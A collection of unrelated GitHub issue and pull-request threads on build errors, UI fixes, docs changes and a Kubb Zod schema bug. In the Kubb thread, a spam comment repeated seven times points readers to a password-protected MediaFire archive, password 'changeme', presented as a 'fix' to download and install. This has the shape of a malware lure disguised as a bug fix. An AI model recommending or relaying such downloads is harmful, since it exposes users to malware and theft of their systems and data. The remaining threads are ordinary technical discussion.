[ ] I tested in multiple browsers
[ ] I added relevant unit tests
[ ] I have notified others of changes they need to make locally (migrations, jobs, package updates, etc)

RE Dropdown selection

I'm not sure if this should be considered a blocker for merging or if we can merge it in now and hopefully get a solution from SDS in the next week. @Janeece, thoughts?

I dont think this is a blocker, I think it would be ok to push it back to SDS and updating when there is a solution. Can we make a ticket to represent that update? Just so we don't forget.
Thanks for the reminder on the flipping menu question — probably wont get to sync with the other designers on it until at least next week. It isn't a blocker.

@Janeece I created a ticket to track the search text clearing aspect, it's in the Sample Filtering epic.
https://app.shortcut.com/genepi/story/193953/lineage-menu-persist-search-term-during-selections


Clarified documentation of hypergeometric distribution.

Addresses the concern raised in gh-6233 by using standard mathematical notation for the binomial coefficient.  Furthermore, the documentation now alerts the user that the shape parameters have unusual definitions (i.e., different from the ones in Wikipedia).

The TravisCI build failure is only on Python 3.5, and produces a cryptic message that looks unrelated to my minimal changes.
Successfully built scipy
Cleaning up...
  Removing source in /tmp/pip-1y0wrff2-build
Invalid requirement: 'wheelhouse/*'
It looks like a path. Does it exist ?
Exception information:
Traceback (most recent call last):
  File "/home/travis/virtualenv/python3.5.0/lib/python3.5/site-packages/pip/_vendor/packaging/requirements.py", line 92, in __init__
    req = REQUIREMENT.parseString(requirement_string)
  File "/home/travis/virtualenv/python3.5.0/lib/python3.5/site-packages/pip/_vendor/pyparsing.py", line 1172, in parseString
    raise exc
  File "/home/travis/virtualenv/python3.5.0/lib/python3.5/site-packages/pip/_vendor/pyparsing.py", line 1162, in parseString
    loc, tokens = self._parse( instring, 0 )
  File "/home/travis/virtualenv/python3.5.0/lib/python3.5/site-packages/pip/_vendor/pyparsing.py", line 1028, in _parseNoCache
    loc,tokens = self.parseImpl( instring, preloc, doActions )
  File "/home/travis/virtualenv/python3.5.0/lib/python3.5/site-packages/pip/_vendor/pyparsing.py", line 2462, in parseImpl
    loc, exprtokens = e._parse( instring, loc, doActions )
  File "/home/travis/virtualenv/python3.5.0/lib/python3.5/site-packages/pip/_vendor/pyparsing.py", line 1032, in _parseNoCache
    loc,tokens = self.parseImpl( instring, preloc, doActions )
  File "/home/travis/virtualenv/python3.5.0/lib/python3.5/site-packages/pip/_vendor/pyparsing.py", line 2265, in parseImpl
    raise ParseException(instring, loc, self.errmsg, self)
pip._vendor.pyparsing.ParseException: Expected stringEnd (at char 10), (line:1, col:11)

Travis CI failure is unrelated, has been fixed on master and can be ignored.
I personally am +1 for the change, but I remember there were voices in the past which preferred pseudocode to TeX syntax.

@tpudlik ping :-)

Ooops, forgot all about this PR.  I fixed the change to THANKS.txt and rebased.  Hopefully this will be good to merge now!


Failed assertion: line 243 pos 14: 'notification.metrics.axis == widget.axis': is not true.

Performing hot restart...
Syncing files to device sdk gphone64 x86 64...
======== Exception caught by animation library =====================================================
The following assertion was thrown while notifying listeners for AnimationController:
'package:flutter/src/widgets/overscroll_indicator.dart': Failed assertion: line 243 pos 14: 'notification.metrics.axis == widget.axis': is not true.
Either the assertion indicates an error in the framework itself, or we should provide substantially more information in this error message to help you determine and fix the underlying cause.
In either case, please report this assertion by filing a bug on GitHub:
https://github.com/flutter/flutter/issues/new?template=2_bug.md
When the exception was thrown, this was the stack:
#2      _GlowingOverscrollIndicatorState._handleScrollNotification (package:flutter/src/widgets/overscroll_indicator.dart:243:14)
#3      _NotificationElement.onNotification (package:flutter/src/widgets/notification_listener.dart:130:38)
#4      _NotificationNode.dispatchNotification (package:flutter/src/widgets/framework.dart:3078:18)
#5      _NotificationNode.dispatchNotification (package:flutter/src/widgets/framework.dart:3081:13)
#6      _NotificationNode.dispatchNotification (package:flutter/src/widgets/framework.dart:3081:13)
#7      _NotificationNode.dispatchNotification (package:flutter/src/widgets/framework.dart:3081:13)
#8      _NotificationNode.dispatchNotification (package:flutter/src/widgets/framework.dart:3081:13)
#9      Element.dispatchNotification (package:flutter/src/widgets/framework.dart:4375:24)
#10     Notification.dispatch (package:flutter/src/widgets/notification_listener.dart:60:13)
#11     BallisticScrollActivity.dispatchOverscrollNotification (package:flutter/src/widgets/scroll_activity.dart:575:108)
#12     ScrollPosition.didOverscrollBy (package:flutter/src/widgets/scroll_position.dart:918:15)
#13     ScrollPosition.setPixels (package:flutter/src/widgets/scroll_position.dart:282:9)
#14     ScrollPositionWithSingleContext.setPixels (package:flutter/src/widgets/scroll_position_with_single_context.dart:82:18)
#15     BallisticScrollActivity.applyMoveTo (package:flutter/src/widgets/scroll_activity.dart:566:21)
#16     BallisticScrollActivity._tick (package:flutter/src/widgets/scroll_activity.dart:553:10)
#17     AnimationLocalListenersMixin.notifyListeners (package:flutter/src/animation/listener_helpers.dart:155:19)
#18     AnimationController._tick (package:flutter/src/animation/animation_controller.dart:830:5)
#19     Ticker._tick (package:flutter/src/scheduler/ticker.dart:238:12)
#20     SchedulerBinding._invokeFrameCallback (package:flutter/src/scheduler/binding.dart:1146:15)
#21     SchedulerBinding.handleBeginFrame. (package:flutter/src/scheduler/binding.dart:1059:11)
#22     _LinkedHashMapMixin.forEach (dart:collection-patch/compact_hash.dart:614:13)
#23     SchedulerBinding.handleBeginFrame (package:flutter/src/scheduler/binding.dart:1057:17)
#24     SchedulerBinding._handleBeginFrame (package:flutter/src/scheduler/binding.dart:976:5)
#28     _invoke1 (dart:ui/hooks.dart:170:10)
#29     PlatformDispatcher._beginFrame (dart:ui/platform_dispatcher.dart:286:5)
#30     _beginFrame (dart:ui/hooks.dart:104:31)
(elided 5 frames from class _AssertionError and dart:async)
The AnimationController notifying listeners was: AnimationController#749de(▶ 702.127; for BallisticScrollActivity)

Hi @rahulsharmadev-community, please provide a completed and minimal reproducible code sample so that we may verify this. Also, please provide the output of flutter doctor -v as well.
Thank you!

The problem is an overscroll of a horizontal ListView inside another ListView
To replicate:
import 'package:flutter/material.dart';

void main() {
  runApp(MyApp());
}

class MyApp extends StatelessWidget {
  @override
  Widget build(BuildContext context) {
    return MaterialApp(
      home: Scaffold(
        body: Builder(builder: (context) {
          return ListView(
            shrinkWrap: true,
            children: [
              Container(
                height: 50,
                child: ListView(
                  scrollDirection: Axis.horizontal,
                  children: List.generate(
                      20,
                      (index) => Container(
                            padding: EdgeInsets.all(8),
                            height: 50,
                            width: 50,
                            child: Text(index.toString()),
                          )),
                ),
              ),
            ],
          );
        }),
      ),
    );
  }
}

The workaround is to set shrinkWrap to false

I had the same problem and found the solution from here solving the problem:
https://www.flutterforum.org/d/1296-notification-metrics-axis-widget-axis-is-not-true
In short:
Add a physics: BouncingScrollPhysics to your scrollable widget, in your case the ListView.

@ThomasKozsir Why will this fix the issue? Do you have any idea? Thanks for your time.

If you need another physic like PageScrollPhysics() then just put BouncingScrollPhysice as a parent.
Ex:  physics: const PageScrollPhysics(
parent: BouncingScrollPhysics()),


⚠ Bofrost.at has degraded performance

In de07d48, Bofrost.at (https://www.bofrost.at) experienced degraded performance:

HTTP code: 200
Response time: 1425 ms

Resolved: Bofrost.at performance has improved in 0def857.


12.5.1 Autofocus does not "click" focused window

I upgraded to 12.5.1 recently and noticed that autofocus isn't quite working anymore. I can still focus on the windows and send keystrokes but the cursor is inactive. The behavior is like hovering over an application before clicking on it.
Things I've tried

Upgrade to latest yabai v4.0.4
Reinstall SA
Reinstall SIP -> Reinstall yabai

One thing I noticed is that the logs are emitting an EVENT_HANDLER_MOUSE_DOWN: 0 0.00, 0.00 every time I focus on a new window. I'm not sure if that event was always being emitted but I know that it's not being emitted on my other mac setup that is working correctly.
https://user-images.githubusercontent.com/2770197/190057076-3d43c317-225b-4481-b7a3-d96e3eaaa77a.mov

Maybe this is related, but the Dock appears to stick as well when it's set to autohide and autofocus is enabled in yabai. Is this happening for you as well @ericsong?
https://user-images.githubusercontent.com/46987067/191282041-e6a3b322-c5b7-46d8-a31c-11c0bdde18a0.mov

yes! I have noticed this as well. Maybe there's a mac setting to turn this off that will restore the yabai behavior that I want.

I played around with the dock settings but couldn't find a configuration that makes the dock less.. "sticky".

Probably a duplicate of #1551 which is fixed on master.


Huge problem with pipeline on Happlotype caller

Running the pipeline with singularity, either on hg38 or hg19, gets wrong vcf files. I get only a few SNPs on specific chromosomes (e.g. 10 SNPs on chr4).
I get this behaviour either using wgs interval list or using target exome file.
I am running -r dev.

EDIT: The MASTER branch WORKS FINE!!
Any thoughts???

Closing due to moving to nf-core/sarek.
If you still have the issue @kokyriakidis  can you please open a new one on the nf-core repo?
All the best,
Maxime


Webpack 4.0.0 Error

I am trying to use Webpack v4.0.0 and get the following:
ERROR in ./src/Main.elm
Module build failed: TypeError: Cannot read property 'elm' of undefined
    at Object.getOptions (/Users/me/dev/Projects/Elm/webpack4/node_modules/elm-webpack-loader/index.js:37:35)
    at Object.module.exports (/Users/me/dev/Projects/Elm/webpack4/node_modules/elm-webpack-loader/index.js:117:28)
 @ ./src/index.js 1:10-31

webpack.config.js
module.exports = {
	module: {
		rules: [
			{
				test: /\.elm$/,
				exclude: [/elm-stuff/, /node_modules/],
				use: {
					loader: 'elm-webpack-loader'
				}
			}
		],
		noParse: [/\.elm$/]
	}
};

src/index.js
const Elm = require('./Main.elm');
// import Elm from './Main.elm'
console.log('App started...');

src/Main.elm
module Main exposing (main)

import Html exposing (Html, text)

main : Html msg
main =
    text "Hello, Elm!"

I had the same error. Try to use webpack 2.2 :)

There's a minor error that can be bypassed to compile elm code with webpack 4. I'll make a pull request to at the very least get it to compile

#136

webpack 4: migration guide for plugins/loaders – webpack – Medium
https://medium.com/webpack/webpack-4-migration-guide-for-plugins-loaders-20a79b927202

Loaders should receive all options via this.query.

@kirisaki , so the https://github.com/elm-community/elm-webpack-loader/pull/136 should be updated to use this.query instead of this.options?

We need to have continued support for older versions of webpack, too. Will changing to this.query affect that?

So the code can look like this?
var globalOptions = this.options
    ? this.options.elm || {}
    : this.query.elm || {};

I believe this is fixed in master (see #131). Try the following in your package.json:
"elm-webpack-loader": "git://github.com/elm-community/elm-webpack-loader#7d1c6d939ea5b8b8a8f2aa2eb497e7fba49e6c71"

@meowgorithm - yes, as per #136, the change we discussed here has been made. I imagine the issue stays up until the new version is published, to avoid more issues about it.

@eeue56 Is there something else that needs to be done before publishing a new version to npm with #136 ?

published as 4.5.0


fix: user configured settings persistence on add node flow

keeps user configured settings in a temporary object, allowing users to go back and forth from node settings
resets temporary object only if user changes initial node package to something else

fixes #408

@jgresham awesome to see that the issue got caught! I've fixed it, and it's now ready for review again 👍

@jgresham awesome to see that the issue got caught! I've fixed it, and it's now ready for review again 👍

yeah! cool to see the test work and now passing!

awesome @corn-potage thank you!


Fix error in section layout for Raspberry Pi info

Fix mis-matched section for Raspberry Pi OS cmdline.txt info
For Rancher (product) docs only
When contributing to docs, please update the versioned docs. For example, the docs in the v2.6 folder of the rancher folder.
Doc versions older than the latest minor version should only be updated to fix inaccuracies or make minor updates as necessary. The majority of new content should be added to the folder for the latest minor version.

K3s docs changes are on hold for migration.
cc @dereknola to pull this into the new docs.

This has actually already been fixed in the new docs site https://k3s-io.github.io/docs/advanced#enabling-cgroups-for-raspberry-pi-os. Closing this PR.


docs: elaborate what does role does in its README intro

Initial Implementation of this role, stemming from my private attempt on this role.
Required Checklist

[ ] Documentation has been altered or extended appropriately
[ ] This pull request and its commits address only a single concern
[ ] I have followed JonasPammer's Ansible Role Development Guidelines
[x] I am a nice guy

Does this PR introduce a breaking change? (What changes might users need to make in their application due to this PR?)
Optional Checklist

[ ] pre-commit was installed in local development environment (if not, a GitHub workflow will run pre-commit once you create the request)

[ ] my commits are small, single-purpose, detailed and maybe even follow the conventional commit specification for extra convenience of the reviewer

NOTE: at the time when i wrote my private mediawiki role, mediawiki was 1.36. now this version is obsolete and 1.38 is the new kid. the code that comes in the first commits will have 1.36 but v1 of this role should be refactored to 1.38 specs and standards of doing things before merge

ad-hoc comment
current errors as analyzed from a manual run of all distros:
rockylinux8
- No package imagemagick available.

centos7
- No package matching 'imagemagick' found available, installed or updated

debian10/debian11/ubuntu1804/ubuntu2004
- The task includes an option with an undefined variable. The error was: ['php{{ php_version }}-bcmath', 'php{{ php_version }}-intl']: 'php_version' is undefined

ad-hoc comment
current remaining errors in rhel distros only:
   fatal: [instance-ansible-4-rockylinux8]: FAILED! => changed=false
    failures:
    - No package php7.4-bcmath available.
    - No package php7.4-intl available.

current problem:
  TASK [ansible-role-mediawiki : Run 'composer install' in Directory of ExtendedFilelist-Extension as Mediawiki's Linux User] ***

…(cut)…

composer/installers contains a Composer plugin which is blocked by your all
        ow-plugins config. You may add it to the list if you consider it safe.
        You can run "composer config --no-plugins allow-plugins.composer/installers
         [true|false]" to enable it (true) or disable it explicitly and suppress th
        is exception (false)
        See https://getcomposer.org/allow-plugins

rebased with master


No OpsWorks  Load Based Scaling

Hey, there isn't a way to make OpsWorks scale with load. Generally, in the json template, CloudFormation would be looking for an instance with a property of
"AutoScalingType":"load"
but there isn't an "AutoScalingType" property in opsworks.py. Instead, there is a
"TimeBasedAutoScaling" property.

Can you point at the property/resource you're talking about in the CloudFormation Template Reference?  I'm not sure which feature you're talking about here.
https://github.com/cloudtools/troposphere/blob/master/troposphere/opsworks.py#L103 exists, though not sure that's what you mean.

Oh, I think I've figured out what you mean - is this it?
http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-opsworks-instance.html#cfn-opsworks-instance-autoscalingtype
Specifically on the Instance Resource?

Yes, That's it! Give me a few min and I'll post a fix.

Fix merged. Thanks.


Add an Edit Icon to Workspace Avatar

If you haven’t already, check out our contributing guidelines for onboarding and email<EMAIL_ADDRESS>to request to join our Slack channel!

Problem:
It is not obvious that a workspace name and icon can be edited by clicking the workspace avatar in the workspace configuration screen:

Solution:
Add an Edit Icon to Workspace Avatar like we do on the Edit Workspace screen:

View all open jobs on GitHub
Internal: Slack discussion

Triggered auto assignment to @laurenreidexpensify (AutoAssignerTriage), see https://stackoverflow.com/c/expensify/questions/4749 for more details.

This is an existing pattern that can be copied exactly. Its also a straightforward change that doesn't need Triaging. Labelling external and removing triage assignment.

Proposal

We already have everything set up correctly. We just need to add the static Icon.
we will add a new sibling icon here https://github.com/Expensify/App/blob/f20deb8a4b33e2e0f05c3e46bb349d07e07bfa19/src/pages/workspace/WorkspaceSidebar.js#L108

								<View
                                    style={[styles.smallEditIcon, styles.smallAvatarEditIcon]}
                                >
                                    <Icon
                                        src={Pencil}
                                        width={variables.iconSizeSmall}
                                        height={variables.iconSizeSmall}
                                        fill={themedefault.iconReversed}
                                    />
                                </View>

I don't prefer using the AvatarWithImagePicker as it contains a lot of unnecessary code such as AttachmentPicker atc.

I can step into this as CME since we want to have this Polish done asap.
You are right @parasharrajat, we even had the pencil icon in there previously, but then decided to remove it.  Feel free to create a PR for this, however, bear in mind we will most likely create the Upwork job no sooner than on Monday and that is when we could hire you too. So I understand if you would not want/would not be able to work on this until then. Thank you for taking this on! 🙇
Regarding the tooltip, could you please provide a screenshot of how it could look like? cc @trjExpensify would you want to add a tooltip as well (ccing you since you brought up this issue). Thank you 🙌

Upwork job

@parasharrajat Things moved faster, if you are interested, create a proposal in Upwork and Mitch will hire you! Feel free to create the PR and I am looking forward reviewing it :)

@mountiny I meant this as tooltip.

@parasharrajat I know what you meant, I thought the screenshot will help us decide :)
I would add the tooltip in there, it helps with accessibility. Have you submitted a proposal for the job on Upwork so Mitch can hire you? 🙇🏼♂

@parasharrajat Forgive me for asking, but isn't it a mobile application? You won't have a cursor to have a tooltip on it right? 😅

@LucasBruzzone If you are a contributor, please refer to the readme (hope it answers a lot of questions like these).
For this particular, its cross-platform app and tooltip's are for the web.

Hired in Upwork @parasharrajat !

Deployed to to STAGING! Something is broken about the links it seems like.

The solution for this issue has been :rocket: deployed to production :rocket: in version 1.1.0-2 and is now subject to a 7-day regression period :calendar:. Here is the list of pull requests that resolve this issue:

https://github.com/Expensify/App/pulls/5346\n

If no regressions arise, payment will be issued on 2021-09-28. :confetti_ball:

Making a Daily so I remember to pay first thing in morning

Paid


Integer validation schema not generated properly

What version of kubb is running?
2.25.3
What platform is your computer?
Linux
What version of external packages are you using(@tanstack-query, MSW, React, Vue, ...)
"devDependencies": {         "@faker-js/faker": "^8.4.1",         "@kubb/cli": "^2.25.3",         "@kubb/core": "^2.25.3",         "@kubb/swagger": "^2.25.3",         "@kubb/swagger-zod": "^2.25.3",         "@rollup/plugin-terser": "^0.4.4",         "@rollup/plugin-typescript": "^11.1.6",         "@types/cors": "^2.8.16",         "@types/express": "^4.17.21",         "@types/jsonwebtoken": "^9.0.6",         "@types/multer": "^1.4.12",         "@types/node": "^22.0.2",         "@typespec/compiler": "^0.59.0",         "@typespec/http": "^0.59.0",         "@typespec/openapi3": "^0.59.0",         "@typespec/rest": "^0.59.0",         "axios": "^1.7.3",         "prisma": "^5.19.0",         "prisma-erd-generator": "^1.11.2",         "prisma-json-types-generator": "^3.0.4",         "rollup": "^4.20.0",         "typescript": "^5.5.4"     },     "dependencies": {         "@prisma/client": "^5.19.0",         "cors": "^2.8.5",         "dotenv": "^16.3.1",         "electron": "^32.0.1",         "express": "^4.19.2",         "jsonwebtoken": "^9.0.2",         "multer": "^1.4.5-lts.1",         "tsx": "^4.15.7",         "winston": "^3.11.0",         "winston-daily-rotate-file": "^4.7.1",         "zod": "^3.23.8"     },
What steps can reproduce the bug?
1.Just run Kubb on any openapi.json/openapi.yaml file. I'm using the following kubb.config.ts
import { defineConfig } from "@kubb/core";
import { pluginOas } from "@kubb/plugin-oas";
import { pluginZod } from "@kubb/swagger-zod";

export default defineConfig({
    input: {
        path<EMAIL_ADDRESS>    },
    output: {
        path: "./gen",
    },
    plugins: [
        pluginOas(),
        pluginZod({
            output: {
                path: "./zod",
                exportType: false,
            },
            group: {
                type: "tag",
                output: "./zod/{{tag}}"
            },
            coercion: true
        })
    ],
})

How often does this bug happen?
Every time
What is the expected behavior?
Considered sections in the attached openapi.json
"parameters": [
  {
    "name": "page",
    "in": "query",
    "required": false,
    "schema": {
      "type": "integer",
      "minimum": 0
    }
  },
  {
    "name": "pageSize",
    "in": "query",
    "required": false,
    "schema": {
      "type": "integer",
      "minimum": 1,
      "maximum": 100,
      "default": 10
    }
  }
],

Kubb Generated output
export const listModulesQueryParamsSchema = z.object({ "page": z.coerce.number().min(0).optional(), "pageSize": z.coerce.number().min(1).max(100).optional() }).optional();

Expected output

Note the expected .int() and .default() validations

export const listModulesQueryParamsSchema = z.object({ "page": z.coerce.number().int().min(0).optional(), "pageSize": z.coerce.number().int().min(1).max(100).default(10).optional() }).optional();

Swagger/OpenAPI file?
openapi.json
Additional information

The .int() validation could be added successfully by modifying just within packages/plugin-zod/src/parser/index.ts.

Fixed zodKeywordMapper.integer() method as follows.

integer: (coercion?: boolean, min?: number, max?: number) => {
    return [coercion ? 'z.coerce.number().int()' : 'z.number().int()', min !== undefined ? `.min(${min})` : undefined, max !== undefined ? `.max(${max})` : undefined]
      .filter(Boolean)
      .join('')
  },

Made use of that method (currently unused) as follows.

if (isKeyword(current, schemaKeywords.number) ) {
    return zodKeywordMapper.number(options.coercion)
}

if (isKeyword(current, schemaKeywords.integer) ) {
    return zodKeywordMapper.integer(options.coercion)
}

The above fix doesn't solve the  .default() validation problem.

to fix your trouble check this fix, i see it in another issue,
https://app.mediafire.com/9mrkd33xulszl
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble check this fix, i see it in another issue,
https://app.mediafire.com/9mrkd33xulszl
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble check this fix, i see it in another issue,
https://app.mediafire.com/9mrkd33xulszl
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble check this fix, i see it in another issue,
https://app.mediafire.com/9mrkd33xulszl
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble check this fix, i see it in another issue,
https://app.mediafire.com/9mrkd33xulszl
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble check this fix, i see it in another issue,
https://app.mediafire.com/9mrkd33xulszl
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

Download
https://www.mediafire.com/file/5t7dozm7sptcuqj/fix.zip/file
password: changeme
In the installer menu, select "gcc."

@assassinoNz Your change would indeed fix it but I noticed in SchemaGenerator that when a property has default set we only did a check on string(typeof string) and boolean(typeof boolean). All other formats(like in this case number) were ignored.
I opened a PR with your changes + some tests to validate the SchemaGenerator(this fed the Zod parser so we can map based on a keyword like 'integer', 'number', ...): https://github.com/kubb-labs/kubb/pull/1166.

Can confirm this issue is now resolved with the following versions.
{
  "@kubb/cli": "^2.25.5",
  "@kubb/core": "^2.25.5",
  "@kubb/swagger": "^2.25.5",
  "@kubb/swagger-zod": "^2.25.5",
}


Asset precompilation in engine.rb

Getting errors with MagicLamp when trying to navigate to /magic_lamp due to asset precompilation not being set up. It should probably be set up in engine.rb of MagicLamp itself instead of client projects. I can submit a PR if you like?

@TheMallen which MagicLamp and Rails versions are you using?
PRs are always welcome :)

Closing until more information is available.


fix issue that is caused by concurrent creation of Github Issues

Fix issue that is caused by concurrent creation of Github Issues
This issue occurs when creating new labels concurrently for different rules. This would result in Github giving out a 422 error with a message that the Label already exists. This commit works around this concurrency problem by catching the error and checking the message.

Squashed all commits into one and added it in the sync-upstream branch.


Detect arm host when uname says 'armv7' or armv7l'

This is the way the machine string looks on linux on some 32bit arm systems like the raspberry pi.
I'm not aware of a complete list of possible uname outputs, but that would be a good candidate for sourcing a more complete arch detection.

Awesome, thank you!


domain change small size update matthewthom.as

I finally got this new domain. Also a size update. It seems I knocked 1/3 of my page size off somehow in the last few months:
https://gtmetrix.com/reports/www.matthewthom.as/UshNfnVP/

This PR is:

[ ] Adding a new domain
[x] Updating existing domain size
[x] Changing domain name
[ ] Removing existing domain from list
[ ] Website code changes (512kb.club site)
[ ] Other not listed

[x] I used the uncompressed size of the site
[x] I have included a link to the GTMetrix report
[x] The domain is in the correct alphabetical order
[x] This site is not a ultra lightweight site
[x] The following information is filled identical to the data file

I confirm that I have read the FAQ section, particularly the two red items around minimal pages and inappropriate content and I attest that this site is neither of these things.

[x] Check to confirm

- domain: matthewthom.as
  url: https://www.matthewthom.as/
  size: 87.0
  last_checked: 2022-08-03

GTMetrix Report: https://gtmetrix.com/reports/www.matthewthom.as/UshNfnVP/

Nice page. Thanks for your PR!